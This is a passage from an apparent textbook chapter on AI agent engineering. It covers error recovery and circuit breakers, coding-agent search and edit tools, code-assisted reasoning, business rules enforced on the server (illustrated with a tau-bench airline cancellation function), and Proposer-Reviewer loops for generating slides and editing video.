A third class of failures does not manifest as errors at all and requires dedicated liveness and integrity monitoring. The most dangerous failure mode of a streaming connection is not a drop (which errors immediately) but a silent stall—the connection is established but the data flow stops, like a pipe that is connected but yields no water. SDK timeouts often cover only the initial connection, not the transfer process, so a production Agent needs an independent idle watchdog (a watchdog timer—if no new output arrives within a set interval, the connection is judged stalled) that kills the hung stream and triggers a retry upon timeout. This generalizes into a principle: every long-lived connection needs a liveness signal, not just a connection timeout. Integrity monitoring targets trajectory structure: when a tool call is found to lack its paired result message, the system repairs the pairing before injecting the context, rather than throwing the structural anomaly at the model or the user. One notable engineering detail: some production Agents run both a production mode and a training-data collection mode—production mode may patch missing messages with placeholders, while training mode refuses to repair, because synthetic placeholders would pollute the training data. This “lenient in production, strict in training” dual standard reflects the deep coupling between the Harness and model training.

Recovery: escalate in levels, each more visible. Recovery measures are graded by how visible they are to the user; if a lower level solves the problem, do not escalate:

1. Silent retry. The default action for retryable errors. Two details determine success or failure: exponential backoff with random jitter, so that fleets of clients do not retry in lockstep and cause secondary congestion, while honoring the server’s suggested wait duration; and distinguishing foreground from background calls—a failed main-loop request is retried, but auxiliary background calls (title generation, input suggestions) are dropped on failure, lest background retries crowd out the main loop’s quota and create “retry amplification.”
2. Degrade and continue. When retries fail, change the request itself and try again. Take output truncation (generation cut off by the length limit): first silently resend with a raised output cap; if that is still not enough, append a meta-instruction at the end of the message so the model continues generation from the breakpoint. When the primary model is persistently overloaded, degrade to a fallback model (stripping the old model’s proprietary format blocks first, or the new model cannot parse the history); when a high-cost mode is rate-limited, temporarily fall back to the standard mode.
3. Surface to the user. Only after all automatic means are exhausted is the error presented—together with the recovery actions already attempted.

Tool-layer errors take a different path: do not terminate the session; turn the error into the model’s input. A hallucinated call receives a structured “no such tool” error result; a validation failure receives an error annotated with hints about the input contract; malformed arguments (a string emitted where an object was expected) are programmatically repaired before execution. These errors enter the context as ordinary tool results, and the model corrects itself on the next turn—an application of the earlier principle that “the more structured the feedback, the better”: the more specific the error fed back, the higher the model’s self-correction rate.

The core principle of this section is: the unit of error handling is not the single request, but the entire recovery loop. Until recovery is confirmed impossible, intermediate errors should not be exposed to consumers—whether the user or downstream systems subscribed to events: withhold error messages during recovery; if recovery succeeds, consumers never notice; only when everything fails are the withheld errors released. This is the engineering realization of Chapter 1’s correction principle—“do not expose intermediate states until recovery is confirmed impossible.”

Termination: every recovery path needs a ceiling. Recovery mechanisms themselves can fail, so every recovery path must have an explicit circuit-breaking ceiling: context compaction gives up after several consecutive failures; the permission classifier falls back to asking a human after repeated failures; output continuation is attempted at most a fixed number of times. Where do the thresholds come from? Production data, not guesswork. Take Claude Code’s compaction circuit breaker: the “3 consecutive failures” threshold comes from real session statistics—one session once failed over three thousand times in a row on this very recovery path, and such futile retries alone wasted about 250,000 API calls per day worldwide; more than a thousand sessions saw streaks of 50+ consecutive failures. Three is the empirical inflection point between “the vast majority of failures recover before this” and “further retries are essentially hopeless.”

More insidious than a single-point breaker is the death spiral: logic triggered on the error path itself calls the LLM, fails again, and cascades. One real cascade: the Agent stops on a context-overflow error, which fires a stop hook (cleanup logic that runs automatically when the Agent ends) that “commits code on exit,” the hook calls the LLM to write a commit message, context overflows again, and the hook fires once more. Defense comes in two parts: disable all model-invoking side effects on the error path (better to lose an auxiliary feature once, such as automatic memory extraction), and use a recursion-depth counter to detect and break any residual cascade. Finally, above all automatic mechanisms sit global termination and escalation conditions: a maximum number of turns, a session budget cap, and escalation to human intervention when consecutive failures exceed their threshold (Chapter 4’s denial circuit breaker is one example).

Returning to Chapter 1’s thought question: besides missing tool results, a tool repeating the same error, hallucinated calls, context compaction losing key state, and an unsolvable task can all loop an Agent. Detection relies on “error classification + pattern recognition,” recovery on “graded escalation,” and termination on “circuit breakers + global ceilings + human escalation”—together these are the Harness’s complete answer to “the Agent might run forever.” What these mechanisms solve is not “insufficient model capability” but “system robustness under boundary conditions”: models will keep getting stronger, but networks will drop, processes will hang, and users will do unexpected things. Put most fundamentally—an Agent’s reliability is not determined by whether it makes mistakes, but by whether every class of error has a corresponding detection, recovery, and termination path.

Implementation Tips for Coding Agents#

The workflow described above is the ideal. Making it run in practice takes a handful of concrete implementation techniques—ways to raise response speed and cut context consumption without degrading the quality of thought. They are the general Agent techniques of Chapters 2 and 4, applied to the programming domain.

Parallel Tool Calls, Streaming Execution, and Cascading Abort.

Traditional Agent implementations often work serially: generate a tool call, execute it, get the result, then decide the next step. This strict queuing wastes a great deal of time.

Modern Coding Agents should fully leverage streaming responses: Chapter 2 introduced this mechanism when discussing model output order—once the parameters of the first tool call are fully generated and pass validation, execution can begin immediately, without waiting for the model to generate subsequent tool calls. For example, if the model needs to output three tool calls in one inference—search code, check configuration files, and read logs—the first call can start executing as soon as its parameters are complete and validated, overlapping with the generation of the other two. Independent calls can also be executed in parallel rather than queued. This overlapping execution significantly reduces end-to-end latency, making the Agent’s responses more agile.

The flip side of parallel execution is fault handling. Each tool definition should declare whether it supports concurrent execution (default is no, fail-safe). When a call fails, a cascading abort mechanism terminates other calls started in the same batch that depend on its result, but does not affect independent calls or the parent operation—this is a concrete implementation of the “fault boundary control” principle from the Harness engineering section.

Fine-Grained Context Management.

The fundamental challenge for Coding Agents is that codebases are usually large, but the model’s context window is limited. Even if advanced models claim to support millions of tokens, stuffing the entire codebase into the context is neither economical nor necessary. Intelligent context management needs to operate at multiple levels.

At the file reading level, the Agent should not always read the entire file. For large files, the tool should support reading specific line ranges—for example, only reading lines 100 to 150, rather than loading a file with thousands of lines. More importantly, when returning content, line numbers should be attached—each line of code is prefixed with its actual line number. This seemingly simple design brings great value: the model can precisely reference “line 42 of src/main.py,” reducing ambiguity and making subsequent edit operations more reliable.

At the command execution level, handling terminal output also requires care. Compilation or testing can produce thousands of lines of output. If all of it is injected into the context, the budget is quickly exhausted. The long output truncation and persistence mechanism introduced in Chapter 4 is widely applied here: retain the first few lines of output (usually containing error context) and the last few lines (usually containing error summaries), replace the middle with a single line of prompt, and note that the complete output has been saved to a temporary file for on-demand viewing.

Dynamic Injection of Environment Information.

This is a concentrated manifestation of the Agent status bar technique from Chapter 2 in Coding Agents. Unlike general Agents, Coding Agents are highly dependent on the state of the execution environment. Before each inference, the following key environment information should be injected at the end of the context in the form of an Agent status bar:

• Current working directory: ensures path references are correct
• Git branch: knows whether working on the main branch or a feature branch
• Recent commit history: understands the project’s evolution
• Overview of unstaged and staged changes: knows what modifications have been made

This information should not be hardcoded into static system prompts—that would destroy KV Cache efficiency—but should be dynamically generated and injected as an appended Agent status bar. In this way, the Agent gains “environmental awareness,” with each decision based on an accurate understanding of the current state, rather than outdated assumptions.

State Persistence in the Command Execution Environment.

When interacting with code, many operations depend on environment state: changing directories, activating virtual environments, setting environment variables, starting background services. If each command is executed in a fresh shell, all this state is lost—the Agent just used cd to navigate to the project directory, but the next command is back at the root directory, forcing it to repeat the same setup. Worse, the effects of some operations (like activating a Python virtual environment) are only valid within the current shell session and cannot be passed across sessions.

Therefore, a persistent terminal session should be maintained, created when the Agent starts and kept active throughout the entire interaction. Each command is executed in this shared terminal, preserving the working directory, environment variables, and session state. This design is more aligned with the work habits of human developers—we usually work in a long-running terminal window. Of course, the Agent should also retain the ability to start isolated terminals to support parallel tasks, but the persistent session should be the default mode.

Instant Syntax Feedback Mechanism.

This once again demonstrates the value of the Agent status bar technique. After the Agent modifies code, it should not wait for the user to explicitly request testing before checking syntax. A more efficient approach is: as soon as the file write operation is complete, the tool layer automatically runs the corresponding linter or syntax checker, presenting the results as part of the tool’s return value to the Agent. If a syntax error is detected, the Agent sees the detailed error information immediately in the next inference round—just like a programmer typing a wrong parenthesis in an IDE, and the editor immediately draws a red line as a reminder. This instant feedback mechanism significantly reduces the cost of error fixing, because the Agent can correct the error at the moment it is introduced, without waiting until running tests to discover the problem.

These five implementation techniques—parallelism and streaming, context management, environmental awareness, state persistence, and instant feedback—together form the technical foundation of an efficient Coding Agent. They are not isolated optimization points, but mutually reinforcing design decisions, all pointing toward a single goal: enabling the Agent to work as smoothly as an experienced developer.

Search Tools in Coding Agents#

Locating relevant code in a large codebase is the starting point for a Coding Agent’s work. Figure 5-3 compares several complementary search tools, illustrating how a mature Coding Agent should choose retrieval methods based on the nature of the task.

Regex Content Matching (grep/ripgrep): The most traditional search method, scanning file contents line by line for pattern matches. When the Agent knows the exact text to find (function names, variable names, error messages), it can locate every occurrence quickly and accurately. The expressive power of regular expressions (a syntax for describing text patterns with special symbols, e.g., def handle.* matches all function definitions starting with handle) captures complex patterns—not just literal text, but code that conforms to a particular structure. In practice, file type filtering (search only Python files) and path pattern filtering (exclude test directories) should also be supported to reduce noise. The fundamental limitation: it finds only textual matches and understands no semantics—a search for “user authentication” will never surface a function that handles login logic but happens not to contain the word “authentication.”

Filename Pattern Matching (glob): Ignores file content, only searches the file system’s path structure for files matching a pattern. For example, **/*.test.ts recursively finds all TypeScript test files, src/components/**/Button.tsx searches for Button.tsx at any depth under components. It is much faster than content search (no need to open and read files) and is the Agent’s first step in exploring the project structure—quickly establishing the project’s organizational framework by scanning the entire file system.

Semantic Code Search: Unlike the first two exact matching methods, it attempts to understand the “meaning” of the query and the code. It needs to solve two key problems:

• Structure-Aware Chunking: Code has strict syntactic structure and should be split by complete semantic units like functions, classes, and methods, rather than blindly cutting by a fixed number of characters.
• Hybrid Retrieval (Chapter 3 details this technology stack): Vector embeddings (dense embeddings) excel at finding semantically similar code with different wording (e.g., searching for “verify user identity” can find a function named check_credentials), while keyword matching (BM25, a classic retrieval algorithm based on term frequency and document length) excels at precisely matching function and variable names. The two run in parallel, and the results are merged and sorted by a reranker (a cross-encoder that performs fine-grained relevance ranking on candidate results), providing complementary coverage.

Semantic search is particularly suitable for exploratory tasks, such as finding code related to “interacting with the database” or “handling user input validation” in an unfamiliar codebase.

However, there is a clear debate in the industry about whether it is worth building embedding indices for semantic search. Terminal-based Agents like Claude Code deliberately do not build embedding indices, relying purely on agentic grep + glob for on-the-fly retrieval—this avoids maintaining indices that become stale as the code evolves, eliminates the entire indexing infrastructure, and avoids the risk of sending code embeddings to third-party services. IDE-based tools like Cursor take the opposite approach: they are willing to pay the cost of building indices for cross-file semantic recall, using embedding indices to quickly find semantically related but differently worded snippets in large codebases. The trade-off between the two routes essentially boils down to weighing “the cost of infrastructure and data egress” against “the benefit of cross-file semantic recall.”

Symbol-Level Definition and Reference Lookup: Based on the IDE’s “go to definition” and “find all references” capabilities (LSP, or Language Server Protocol—a standard protocol for communication between editors and language analysis engines), it can distinguish between the definition and calls of symbols with the same name—for example, it knows that authenticate on line 42 is a function definition, while on line 189 it is a call, whereas text search can only find all lines containing that string. This is especially critical for code refactoring—when renaming a function, you cannot rely solely on text search (the function name might appear in comments or strings); you must use symbol search to precisely locate the definition and all actual call sites.

These four search methods form a complementary toolbox, often used in combination in practice: first use semantic search to find relevant modules, then use regex matching to precisely locate specific lines of code, and finally use symbol search to trace the call chain—a progressive strategy “from coarse to fine, from semantics to syntax.”

File Editing Tools in Coding Agents#

The difficulty of file editing lies not in the operation itself, but in how to efficiently and reliably tell the system “what to change and how to change it” using an LLM. Figure 5-4 compares five file editing schemes, illustrating the fundamental tension between human language expression and machine-precise execution.

Diff Description + Apply Model: The model does not directly specify how to edit the file; instead, it generates a change description—which can be a diff text similar to git diff (the format output by the git diff command, showing “which lines were deleted and which were added”), or a code skeleton with omission markers (using comments like “remain unchanged here” to skip unmodified parts). This description is then handed to a specialized “Apply Model”—usually another, smaller, faster LLM—responsible for merging it with the original file to produce the complete new file. This separation of concerns allows the main model to focus on high-level code logic and the apply model to focus on low-level text operations. The fragility of a naive implementation lies in the merge step: when there are minor discrepancies between the change description and the actual file code, it needs to determine if they refer to the same location; when there are multiple similar code snippets, it might merge into the wrong place. Cursor is a representative of the continuous evolution of this approach: the main model outputs a code skeleton with omission markers, a specially trained fast-apply small model rewrites the complete file, and speculative decoding (using the original file content as a draft for parallel verification) pushes the merge speed to thousands of tokens per second—engineering investment has bought reliability and speed for this approach.

Old String → New String: The approach adopted by Claude Code. The model provides an old string (the original text to be replaced) and a new string (the replacement text), and the framework performs a simple string find-and-replace. The advantage is predictability and transparency—if the old string exists and is unique in the file, it succeeds; otherwise, it fails. There is no ambiguity. The cost is that deleting large blocks of code requires outputting all the original content in full; a single character deviation causes the match to fail. When the same code appears multiple times, a longer context must be provided to disambiguate.

Line Number Targeting (Old Line Numbers → New String): The model specifies “delete lines X to Y, insert new content.” Line numbers are precise and unambiguous, and deleting large blocks requires only two numbers. However, the model is prone to errors when “counting” line numbers, especially for very long files. In practice, this is mitigated by adding line number annotations to each line when reading the file, but subsequent line numbers change after each edit, limiting the parallelism of multiple edits.

Vim-like Edit Commands: Borrowing from the Vim editor’s command system, supporting rich operations like copy, cut, and paste. Very efficient for restructuring code (moving a function from one place to another). But the command syntax carries a real learning burden: the strongest models handle it well; smaller models make noticeably more mistakes.

String Start + End Matching (Old String Start + End → New String): This can be seen as an improvement over the old string replacement scheme. The model does not need to output the complete old string; it only needs to provide the first few lines and the last few lines of the content to be deleted, omitting the middle part. The framework locates the replacement area by matching this start and end pair, as long as this “start+end” combination is unique in the file. This scheme combines the reliability of text replacement with the efficiency of the line number approach—when deleting large blocks of code, there is no need to output hundreds of lines of original code, only the boundaries need to be shown. At the same time, because it is still based on content matching rather than abstract line numbers, the risk of the model making errors is relatively low.

Practical Advice. Mainstream Coding Agents split between two routes, each with its flagship: Claude Code takes “old string to new string”—reliability first, simple to implement, no extra model needed; Cursor has pushed the Apply Model route to its limit—paying for the training and inference of a dedicated fast-apply model in exchange for higher editing throughput. If you are building your own Agent, “old string to new string” is the safest starting point; for large-scale edits, “string start + end matching” is the more economical compromise; the line-number approach is reliable only with deep IDE integration (where the editor maintains a live line-number mapping and re-supplies the model after every edit)—otherwise line-number drift will sink it.

Code as a Thinking Tool#

LLMs are remarkable at understanding and generating natural language, yet fundamentally weak at precise calculation, symbolic manipulation, and strict logical deduction. The reason: a model’s thinking is inherently probabilistic and approximate, while mathematical and logical problems demand deterministic, exact answers. One concrete comparison makes the point:

1
Problem: "A class has 40 students. 60% take math, 45% take physics, and 25% take both.
2
          How many students take only physics but not math?"
3

4
Pure Natural Language Reasoning (prone to errors):      Code Reasoning (precise and verifiable):
5
"60% take math = 24 students,                           math = int(40 * 0.60)    # 24
6
 45% take physics = 18 students,                        phys = int(40 * 0.45)    # 18
7
 25% take both = 10 students,                           both = int(40 * 0.25)    # 10
8
 Only physics = 24 - 10 = 14 students"                  only_phys = phys - both  # 8
9
→ Mistakenly subtracts from math count, answer wrong    → print(only_phys)  # 8 ✓

Let the LLM be responsible for understanding the problem and writing the code, and let the code interpreter be responsible for precise calculation—this division of labor lets each play to its strengths.

Stephen Wolfram, the creator of Mathematica, offered a profound insight on this. Before LLMs existed, there were already systems capable of precise mathematical computation—they worked using Symbolic Computation, i.e., processing expressions using mathematical symbols rather than approximate numerical values. For example, a regular calculator would compute $\sqrt{2}$ as 1.414, but a symbolic computation system would keep the exact form $\sqrt{2}$, only converting to a decimal when necessary. Wolfram Alpha, created by Wolfram, is such a system: users input a math problem, and it returns an exact answer. However, its natural language understanding is quite fragile and its coverage is narrow—it relies on a built-in grammar parser that can only recognize a limited set of phrasings; a slight change in phrasing could cause parsing to fail, and it certainly cannot handle open-domain multi-step reasoning. LLMs perfectly fill this gap—they excel at understanding various natural language expressions but are not good at precise calculation. The new collaborative model is: let the LLM be responsible for understanding the user’s natural language question, identifying the mathematical or logical structure within it, and translating it into a formal language (such as the Mathematica language or Python’s SymPy library); then hand it over to a dedicated symbolic computation engine or constraint solver for execution to obtain precise results.

Experiment 5-1 ★★: Using Code Generation Tools to Improve Mathematical Problem-Solving Ability

Experiment Goal: Verify the accuracy improvement of an Agent’s mathematical thinking when assisted by a Code Interpreter.

Technical Approach: Equip the Agent with a Python sandbox containing mathematical libraries like sympy, numpy, and scipy. When the Agent encounters a math problem, it formalizes it into Python code: sympy for symbolic computation (calculus, equation solving), scipy for numerical optimization, numpy for matrix operations. The generated code is executed in the sandbox to return precise results.

Acceptance Criteria: Evaluate using AIME-style problems (modeled after the American Invitational Mathematics Examination). Compare the accuracy of pure chain-of-thought reasoning versus code-assisted reasoning, requiring the code-assisted mode to be significantly higher. Check whether the code correctly uses the mathematical libraries and whether the solution process is logically clear.

Experiment 5-2 ★★: Using Code Generation Tools to Improve Logical Reasoning Ability

Experiment Goal: Assess the Agent’s ability to perform logical reasoning with the help of constraint-solving code.

Technical Approach: Equip the Agent with a Code Interpreter containing the python-constraint library. The Agent translates logic puzzles (such as Knights and Knaves problems) into formal constraint definitions: identify all variables (each islander’s identity), constraints (derivations like “knights tell the truth”), define the constraints, and call the solver to search for a solution satisfying all constraints.

Acceptance Criteria: Evaluate using the K&K Puzzle dataset. The code-assisted mode should achieve a solution accuracy of over 90%, significantly higher than the pure thinking mode.

This experiment also reveals a more general pattern: model and harness trade off against each other. When the model is strong enough, the harness can be thinner—the model reasons correctly on its own, and the gain from a code solver narrows. When the model is weaker, the harness must do more—offloading the key logical reasoning to code and constraint solvers to guarantee correctness. That is why this experiment deliberately uses a weaker model, to amplify the contrast: on a weak model, pure thinking miscalculates constantly and code assistance lifts accuracy dramatically; on a sufficiently strong reasoning model, pure thinking often solves every puzzle, and the gain from code assistance converges to near zero. How thick the harness should be, then, depends on where your model’s capability boundary lies—a premise easily overlooked when evaluating any Agent technique: the same harness, paired with models of different strength, can support opposite conclusions.

Code as a Constraint for Business Rules#

This section is a direct response to the Harness Engineering section earlier in this chapter. One of the core principles of the Harness is “Constraints: Encoded, Not Documented”—transforming rules from natural language documentation into executable code, making them mandatory constraints on system behavior rather than advisory guidelines. Code generation enables the Agent to autonomously complete this transformation process.

Business rules, workflows, and decision logic described only in natural language are riddled with ambiguity. What is a “reasonable refund request”? What counts as an “emergency”? The boundaries resist natural-language definition—“refundable within 7 days of purchase” sounds clear, but are those calendar days or business days? Does “purchase” mean order placement or shipment? Code, by contrast, is an unambiguous, executable representation of knowledge—it either runs or throws an error; there is no in-between.

Precisely Expressing Complex Business Rules.

Natural Language Rules vs. Codified Rules: Complementary, Not Substitutive

The advantage of writing rules in the system prompt: the model can explain policies to users based on the rules; it can find workarounds based on the rules (e.g., “rebook instead of cancel”); it can make a preliminary feasibility judgment before calling a tool.

The advantage of codifying rules as validation tools: the precision and unambiguity of code logic—there will be no “misunderstanding”; the determinism of code execution—the same input always produces the same output; particularly suitable for complex rule combinations—multi-condition boolean combinations, time calculations, cross-data-source validation.

In practice, they should be used together: the system prompt contains natural language rules for understanding and communication, while key decision points are equipped with codified validation tools acting as “gatekeepers” to ensure compliance.

The true value of codified rules is not token efficiency but preventing irreversible mistakes—canceling an order, wiring out funds, deleting data: once executed, none of these can be undone. Codified validation places a last line of defense in front of the operation, and the value of that guarantee far outweighs its implementation cost.

Merging Validation and Execution: Checklist Guides Thinking, Truth-Value Validation Guards the Gate

Rather than build a separate validation tool, let the execution tool validate internally first. Take the airline cancellation policy from τ-bench (tau-bench, a benchmark simulating airline and e-commerce customer service scenarios, specifically designed to evaluate an Agent’s tool-calling and policy-compliance abilities) as an example:

1
def cancel_reservation(
2
    reservation_id: str,
3
    cancellation_reason: str,        # "change_of_plan", "airline_cancelled", "other"
4
    expected_cabin_class: str = None,    # Optional: for model self-check; server uses database truth for verification
5
    expected_has_insurance: bool = None  # Optional: for model self-check; same as above
6
) -> dict:
7
    """
8
    Cancel a flight reservation.
9

10
    Cancellation policy (enforced server-side based on database truth values):
11
    - Rule 1: Reservations with any used segments cannot be cancelled
12
    - Rule 2: Reservations can be unconditionally cancelled within 24 hours of booking
13
    - Rule 3: Flights cancelled by the airline can always be cancelled
14
    - Rule 4: Business class can always be cancelled
15
    - Rule 5: Basic economy and economy require travel insurance to be cancelled
16

17
    Before calling, please query the order details and check each rule above one by one; the expected_* parameters are
18
    for stating your judgment basis, provided for server-side comparison and audit, and do not affect the policy ruling.
19
    """
20
    # All policy facts are read from the database; never trust values reported by the model
21
    r = db.get_reservation(reservation_id)
22
    now = server_clock.now()  # Server clock, not provided by the model
23

24
    # Log a warning if the model's self-reported value does not match the truth value, to detect the model's erroneous beliefs or potential injection
25
    if expected_cabin_class is not None and expected_cabin_class != r.cabin_class:
26
        log_mismatch(reservation_id, "cabin_class", expected_cabin_class, r.cabin_class)
27
    if expected_has_insurance is not None and expected_has_insurance != r.has_insurance:
28
        log_mismatch(reservation_id, "has_insurance", expected_has_insurance, r.has_insurance)
29

30
    if r.any_segment_used:
31
        return {"success": False, "reason": "Cannot cancel with used segments"}
32

33
    hours_since_booking = (now - r.booking_time).total_seconds() / 3600
34
    if hours_since_booking <= 24:
35
        execute_cancellation(reservation_id)
36
        return {"success": True, "reason": "Cancelled within 24-hour window"}
37

38
    if r.flight_status == "cancelled_by_airline":
39
        execute_cancellation(reservation_id)
40
        return {"success": True, "reason": "Airline cancelled flight"}
41

42
    if r.cabin_class == "business":
43
        execute_cancellation(reservation_id)
44
        return {"success": True, "reason": "Business class cancellation"}
45

46
    if r.cabin_class in ["basic_economy", "economy"]:
47
        if r.has_insurance:
48
            execute_cancellation(reservation_id)
49
            return {"success": True, "reason": f"{r.cabin_class} with insurance"}
50
        return {"success": False, "reason": f"{r.cabin_class} requires insurance"}
51

52
    return {"success": False, "reason": "Does not meet cancellation policy"}

The value of this design should be understood on two levels.

First level: parameters as a thinking checklist. The tool description lists the complete cancellation policy and requires the model to “query order details and check each condition one by one before calling”; the optional expected_* parameters further prompt the model to explicitly write out its own reasoning. To fill in these parameters, the model must first call the query tool to get order details and verify each condition one by one — the process of filling in parameters is essentially a mandatory checklist. When the model finds that the cabin class is economy and insurance has not been purchased, it is likely to notice Rule 5 while preparing the call, and thus will not initiate the call at all, instead directly telling the user “Economy class without insurance cannot be cancelled. Consider purchasing insurance before cancelling or changing your booking.” The value of this level lies in guiding thinking and reducing invalid calls; however, it does not bear safety responsibility — the expected_* parameters are merely the model’s self-statement, and the server never treats them as facts.

Second level: server-side ground-truth validation as the gatekeeper. Note the key design in the code: cabin class, insurance status, booking time, segment usage, and flight status are all queried from the database by the server; the current time comes from the server clock. No policy fact comes from the model’s self-reported parameters. This is not redundant caution: the model may hallucinate or be manipulated by prompt injection — as the earlier Lethal Triad analysis showed, an Agent within the same context can hardly prove its own innocence. If cabin_class, has_insurance, and even current_time were designed as parameters filled in by the model, the “gatekeeper” would be rendered useless if the model reported (or was induced to report) even one incorrect value. The last line of defense must be built on data that the model cannot forge — this is consistent with the earlier stance that “critical operations require independent verification”: independence refers not only to an independent model but also to an independent data source.

The three-tier safeguard is thus complete: (1) natural language rules in the system prompt aid understanding and explanation; (2) tool descriptions and parameter design serve as a checklist, guiding the model to explicitly verify conditions before calling; (3) server-side code-based validation using database ground truth acts as the final gatekeeper. The first two tiers reduce the occurrence of errors, and the third ensures that errors do not become irreversible losses.

Experiment 5-3 ★★: Small models improve rule execution accuracy through code-based knowledge

Experiment objective: Verify that small-parameter models (Qwen3-4B) significantly improve the accuracy and consistency of complex policy execution through code-based business rules.

Technical approach: Design a controlled experiment based on the τ-bench airline customer service scenario. Control group: Pure natural language rules, relying on the model’s own reasoning. Experimental group: Three-tier safeguard — system prompt retains natural language rules; tool description lists the complete policy and uses optional expected_* parameters to guide the model to check each condition one by one before calling (checklist); the tool internally performs code-based validation based on simulated database ground truth (all policy facts are obtained from the database, time is taken from the server clock, and the model’s self-reported parameters are not trusted). Evaluation metrics: task success rate, number of policy violations, number of invalid tool calls, user experience.

Expected results: The experimental group significantly outperforms the control group. More importantly, it is observed that the model autonomously identifies violations when preparing parameters and directly proposes alternatives to the user, verifying the effectiveness of “parameters as a checklist”; at the same time, the proportion of inconsistencies between expected_* self-reported values and database ground truth is counted, verifying the necessity of “server-side ground-truth validation” in intercepting erroneous cognition.

Code-Driven Multimedia Generation#

The creation of many complex documents is essentially the organization and presentation of structured data. Whether it’s a presentation, a technical report, or an interactive application, the underlying structure is defined by code — HTML describes the structure, CSS controls the style, and JavaScript implements interactivity. Traditional document creation relies on WYSIWYG editing through GUI interfaces, but this is neither intuitive nor efficient for Agents, as GUI operations require visual understanding and precise coordinate positioning. Through code generation, Agents bypass the challenge of visual positioning and gain precise control over documents — the position, style, and content of each element are clearly defined and can be modified and optimized programmatically.

PPT Generation Agent.

PPT creation is notoriously laborious. A typical academic presentation runs to dozens of slides, each demanding careful layout, distilled key points, and well-chosen charts. Reframe PPT creation as a code generation problem, however, and much of the complexity falls away. Modern presentation frameworks such as Slidev embrace an elegant design philosophy: define the content in Markdown and HTML. Creating a slide takes a few lines of concise markup, and the framework handles rendering, layout, and animation. For an Agent that has mastered code generation, this is ideal terrain.

Generating the code is not enough, though. Once the Agent has written the code, it has no idea how the result actually renders: content too crowded, text overflowing, images the wrong size — none of this is visible until the slides are actually rendered. Therefore, a Proposer-Reviewer mechanism (as shown in Figure 5-5) is needed to decouple code writing and quality review into two independent Agents:

• Proposer Agent is responsible for generating Slidev code, understanding the logical structure of the content, and decomposing it into reasonable pages.
• Reviewer Agent runs the code to render each page as an image, uses a Vision LLM (a multimodal large model that can “see” images) to analyze the rendering results from dimensions such as content density, readability, layout reasonableness, and visual aesthetics, and generates structured improvement suggestions — not vague “doesn’t look good,” but specific, actionable guidance (e.g., “Page 3: too much content, consider splitting”; “Page 7: code block font too small, suggest increasing to 14pt”), including fields such as page number, issue type, and severity.

The Proposer receives the feedback, understands the intent, and modifies the code. The new version is submitted again for Reviewer review, iterating until the quality meets the standard or the maximum number of iterations (e.g., 5 rounds) is reached. “Quality meets the standard” and “maximum rounds” are exactly the two kinds of explicit stop conditions Loop Engineering calls for: the former lets the reviewer decide the goal has been reached; the latter is a budget cap that keeps the loop from running away.

The Proposer-Reviewer iterative loop in this chapter shares the same origin as the pre-approval application in Chapter 4 — both are instances of the Proposer-Reviewer paradigm: separation of generation and review, independent evaluation by two models (in Loop Engineering terms, maker and checker as separate sub-agents). The difference lies in the goal and form: Chapter 4 uses it for security review of irreversible operations, where the reviewer gives approval or rejection for a single operation; this chapter uses it for iterative improvement of content quality — multiple rounds, and the reviewer has access to new information (rendering results) that the proposer cannot see. The core design principles are consistent (shared goal constraints, using different model families to reduce the probability of similar errors, feedback as a special event added to the Proposer’s trajectory). The core advantage of using a dual-agent division of labor rather than a single-agent loop lies in context management: the Reviewer only processes the rendering images of the latest version each time, unaffected by historical versions; the Proposer only accumulates structured text feedback, consuming fewer tokens and making reasoning easier. A single-agent solution would need to accumulate multiple rounds of rendering images for dozens of pages in the same context, quickly exceeding the context limit. This mechanism will be reused in subsequent experiments on video editing and log visualization; Chapter 10 will further explore other multi-agent collaboration modes beyond the Proposer-Reviewer paradigm.

Experiment 5-4 ★★: Automatic PPT generation from papers

Experiment objective: Automatically generate high-quality presentations from academic papers, verifying the effectiveness of the Proposer-Reviewer mechanism in content creation quality control.

Technical approach: Use the Slidev framework. The Proposer Agent reads the paper PDF, extracts chapter structure, core arguments, and figures, plans the PPT structure, and generates Slidev code page by page. Key step: The Reviewer Agent renders screenshots of each page, uses a Vision LLM to check the rendering effect, identifies issues such as text overflow, content crowding, and inappropriate image sizes, and generates structured improvement suggestions. Iterate until the effect meets the standard.

Acceptance criteria: Generate 10-20 slides covering the paper’s main contributions. Include at least 3 original figures that match the accompanying text. No text overflow in rendering, reasonable layout. Compare the differences in context consumption and generation quality between single-agent self-review vs. Proposer-Reviewer division of labor.

Experiment 5-5 ★★: Automatic generation of paper explanation videos

Experiment objective: Extend PPT generation capabilities, combining visual and auditory channels to achieve automatic generation of explanation videos.

Technical approach: Based on the PPT generation workflow from Experiment 5-4, the Agent simultaneously generates conversational explanation text for each slide (guiding narration rather than repetition), calls TTS (text-to-speech) to synthesize speech, and uses ffmpeg to synchronize PPT screenshots with audio to synthesize the video.

Acceptance criteria: Video is 5-15 minutes long, display time for each slide precisely matches the speech duration, and the explanation content corresponds to the visual elements.

Video Editing Agent.

Doing video editing through general Computer Use runs into a fundamental obstacle: video editing GUIs are extraordinarily complex — dense with timelines, layers, and effect panels. An Agent would have to locate these interface elements precisely and edit via mouse and keyboard, and emitting exact coordinates is very hard.

Reframing video editing as API calls and code generation cuts the complexity dramatically. Many professional software tools (such as Blender — an open-source 3D creation and video compositing tool that supports Python scripting; FFmpeg — the command-line Swiss Army knife for audio/video processing) provide programmatic API interfaces that expose core functionality in a structured, composable manner. For example, the Blender Python API allows precise control over operations such as importing, trimming, arranging, adding transition effects, and mixing audio for video clips, with each operation corresponding to a clear function call. For an Agent, converting natural language requirements into API calls is far easier than understanding a GUI interface and simulating mouse clicks. Similar to PPT generation, video editing also adopts the Proposer-Reviewer mechanism — the Proposer Agent generates Blender scripts, the Reviewer Agent renders keyframes and uses a Vision LLM to check the effect, providing feedback for modification.

Experiment 5-6 ★★: API-based intelligent video editing

Experiment objective: Verify the Agent’s ability to perform video editing by generating Blender Python API code, and evaluate the role of the vision-feedback-based Proposer-Reviewer mechanism in multimedia content processing.

Core challenge: Understanding the user’s natural language editing requirements and converting them into precise sequences of API calls, handling various editing operations (trimming, merging, subtitles, audio track mixing, visual effects), and ensuring the generated Python script executes correctly. After the Proposer Agent writes the code, it cannot directly judge the video effect; it must rely on the Reviewer Agent to render and use a Vision LLM to check keyframes.

Technical approach: The user provides video material (e.g., raw footage containing scenes like surfing, hiking, skiing) and describes requirements in natural language (e.g., “Cut out the surfing part”). The Proposer Agent uses a video analysis sub-agent with a two-step localization strategy:

Step 1, coarse localization: Call the sub-agent, passing the video path, a screenshot interval of every 10 seconds, and the target question. The sub-agent uses ffmpeg to capture keyframes, inputs all screenshots along with the question into a Vision LLM, and returns the scene interval (e.g., “Surfing is between 40-110 seconds”).

